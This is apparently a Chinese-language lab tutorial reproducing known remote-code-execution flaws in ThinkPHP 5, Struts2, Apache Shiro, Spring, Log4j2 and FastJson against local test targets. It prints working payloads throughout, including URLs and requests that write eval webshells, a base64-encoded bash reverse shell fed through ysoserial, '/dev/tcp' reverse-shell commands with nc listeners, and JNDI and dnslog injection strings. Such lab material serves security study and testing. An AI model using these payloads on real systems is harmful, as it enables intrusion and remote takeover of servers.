1.ThinkPHP框架漏洞
thinkphp是一个国内轻量级的开发框架,采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前两个版本已经停止更新,主要介绍下thinkphp5的漏洞
1.1Thinkphp 5.0.22/5.1.29远程代码执行漏洞
1.1.1原理
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
1.1.2关键函数
call_user_func_array():
调用回调函数,可以将把一个数组参数作为回调函数的参数
应用于要调用的函数名是未知的或要调用函数的参数类型及个数是未知的情况
例如:
#demo1
<?php
$a = array('whoami','hostname');
call_user_func('system',$a[1]);
?>
1.1.3漏洞复现
搭建靶场
通过代码执行Payload,执行phpinfo
通过代码执行Payload,执行系统命令
通过过代码执行Payload,写入shell;
注意:为了防止特殊字符导致写入失败,需要将Payload进行URL编码
http://192.168.52.136:8080/index.php?s=/index/\\think\\app/invokefunction\&function=call_user_func_array\&vars\[0\]=file_put_contents\&vars\[1\]\[\]=shell.php\&vars\[1\]\[\]= <%3Fphp phpinfo()%3Beval($_POST['cmd'])%3B%3F>
访问写入的shell.php,出现phpinfo界面,证明写入成功
http://192.168.52.136:8080/shell.php
蚁剑连接成功
1.2Thinkphp 5.0.23远程代码执行漏洞
1.2.1实验原理
原理:ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
1.2.2漏洞复现
搭建靶场
打开BurpSuite,刷新页面,抓取到数据包
将包发送至Repeater,并构造命令执行的Payload
方便进一步的管理,尝试写入shell;
在此之前我们需要得知网站的绝对路径;如下通过pwd命令获取
/var/www/public
构造写入shell的Payload
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST["shell"]);?>" > /var/www/public/shell.php
尝试访问
成功访问,说明该文件已经被解析
在蚁剑中添加数据,测试连接,成功
2.struts2框架漏洞
Struts2是一款基于Java开发的框架,web路径下会出现两种特殊的文件格式,即*.action文件与*.jsp文件;
现阶段已知的S2poc大多数都是远程命令执行漏洞 ,主要出现位置有:url中,报文内容中,content-type中;
2.1Struts2(s2-061)漏洞
2.1.1原理
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式, 在Freemarker标记中使用错误的表达式而不是字符串文字时,导致攻击者远程执行代码攻击。
影响范围: Struts 2.0.0 - Struts 2.5.25。
2.1.2漏洞复现
搭建靶场
发现.action结尾,判断该靶场为st2框架
尝试给ID参数传递OGNL表达式,如下通过审查元素发现3*3成功执行,OGNL表达式注入成功,漏洞存在
既然表达式成功执行,那就构造能执行命令的Payload
同理更改Payload中红色部分即可以执行任意命令,例如改成whoami
3.shiro框架漏洞
Apache Shiro提供了认证、授权、加密和会话管理功能,将复杂的问题隐藏起来,提供清晰直观的API使开发者可以很轻松地开发自己的程序安全代码。并且在实现此目标时无须依赖第三方的框架、容器或服务,当然也能做到与这些环境的整合,使其在任何环境下都可拿来使用。
Shiro将目标集中于Shiro开发团队所称的"四大安全基石"-认证(Authentication)、授权(Authorization)、会话管理(Session Management)和加密(Cryptography):
- 认证(Authentication):用户身份识别。有时可看作为"登录(login)",它是用户证明自己是谁的一个行为。
- 授权(Authorization):访问控制过程,好比决定"认证(who)"可以访问"什么(what)".
- 会话管理(SessionManagement):管理用户的会话(sessions),甚至在没有WEB或EJB容器的环境中。管理用户与时间相关的状态。
- 加密(Cryptography):使用加密算法保护数据更加安全,防止数据被偷窥。
对于任何一个应用程序,Shiro都可以提供全面的安全管理服务。并且相对于其他安全框架,Shiro要简单的多。
3.1Shiro550 CVE-2016-4437
3.1.1原理
Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。然后⽤户在请求⽹站时,shiro ⼜会在识别⾝份的时候对cookie进行:
(1)获取rememberMe cookie
(2)base64 解码
(3)AES解密
(4)反序列化
AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,在Shiro 1.2.4及之前的框架中,Key为默认存于源码中,而且该框架属于开源状态,如果不及时修改的话,从而控制Rememberme Cookie传入恶意数据到后端反序列化的对象。(理论上AES没有密钥将无法破解出可用明文数据,现在测试者拥有了AES加密解密所用的Key,相当于可以操控整个Cookie构造过程,那测试者将可以随意构造含有恶意命令的Cookie数据传入后端,由后端的处理得到数据中的恶意命令的明文,再通过其他功能包调用执行了命令)。
3.1.2漏洞复现
docker 环境搭建
打开vulhub 靶机,目录定位到 vulhub-master/shiro/CVE-2016-4437 目录下
勾选remeber me 进行抓包
安装shiroExploit.jar工具
使用 Shiro_exploit .py 检测是否存在 shiro 漏洞
python3 shiro_exploit.py -u http://192.168.52.136:8080
vulnerable:True 表示存在 shiro 漏洞
对反弹 shell 命令进行加密利用
对端口进行监听
实验二: 利用ysoserial 复现漏洞
java -cp ysoserial.jar
ysoserial.exploit.JRMPListener 1234 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS84MDgwIDA+JjE=}|{base64,-d}|{bash,-i}'
使用一键利用工具复现
反弹shell
4.Spring框架漏洞
4.1Spring Cloud Function SPEL表达式注入漏洞
Spring Framework是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为 J2EE应用程序开发提供了一个好用的框架。
4.1.1原理
Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的"spring.cloud.function.routing-expression"参数作为 Spel 表达式进行处理,造成 Spel 表达式注入漏洞。攻击者可通过该漏洞执行任意代码。
影响范围:3.0.0 <= Spring Cloud Function <= 3.2.2
向请求头中传入构造的SpEL表达式,用于执行系统命令。
4.1.2漏洞复现
搭建靶场
访问http://192.168.56.129:8080/functionRouter,并BurpSuite抓包
将抓到的GET包发送到Repeater中,切换成POST方法
bttz6x.dnslog.cn将申请到的域名拼接到构造好的SpEL表达式中
如下表达式是为了执行让系统执行ping命令,解析dnslog域名
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping bttz6x.dnslog.cn")
回到dnslog界面中,点击Refresh Record刷新记录,得到回显
通过如上方法,可以证明漏洞存在,为了进一步利用,需要反弹shell
在这之前需要做好如下准备:
Ø Centos和Kali可以互相ping通
Ø Kali开启监听:nc -lvp 8080
Ø 准备反弹命令:/bin/bash -i >& /dev/tcp/192.168.52.136/8080 0>&1
注意上面的IP和端口,均为Kali
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS84MDgwIDA+JjE=}|{base64,-d}|{bash,-i}
随后收到反弹回来的shell,可以执行任意命令
4.2pring Framework RCE
4.2.1原理
Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。
该漏洞是因为在Java9的环境下,引入了class.module.classLoader,导致了CVE-2010-1622漏洞补丁的绕过,从而造成这个漏洞。
4.2.2漏洞复现
搭建靶场
打开BurpSuite,配置好代理,刷新页面,抓到数据包
将数据包发送到Repeater,构造并发送如下Payload
注意:下面的请求包中:"DNT: 1"下面有两个空行
访问shell并执行命令:
http://192.168.56.129:8080/shell1.jsp?pwd=j\&cmd=id
通过这个小马进行反弹shell
在这之前需要做好如下准备:
Ø Centos和Kali可以互相ping通
Ø Kali开启监听:nc -lvp 4444
Ø 准备反弹命令:/bin/bash -i >& /dev/tcp/192.168.56.151/4444 0>&1
Ø 注意上面的IP和端口,均为Kali
访问后即可在Kali中得到反弹回来的shell,可执行任意命令
5.Log4j2远程代码执行漏洞
5.1漏洞原理
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
5.1.1啥是log4j2?
log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
5.1.2啥是JNDI?
JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。**JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。**JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现。
5.2漏洞复现
搭建靶场
向Dnslog平台申请域名
将Dnslog地址填入url并访问:
http://192.168.52.136:8983/solr/admin/cores?action=${jndi:ldap://z5bngl.dnslog.cn
出现回显
出现回显说明存在Log4j2漏洞,可以进行漏洞利用
可以编写 恶意文件Exploit.java 进行上传,或者直接利用现场的JNDI注入工具
6.FastJson反序列化漏洞
6.1原理
FastJson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。
6.2漏洞探测
搭建靶场
向dnslog平台申请域名,然后将域名填入payload,并发送如下数据
{"zeo":{"@type":"java.net.Inet4Address","val":"nwaxhs.dnslog.cn"}}
随后即可在dnslog平台看到回显,证明漏洞存在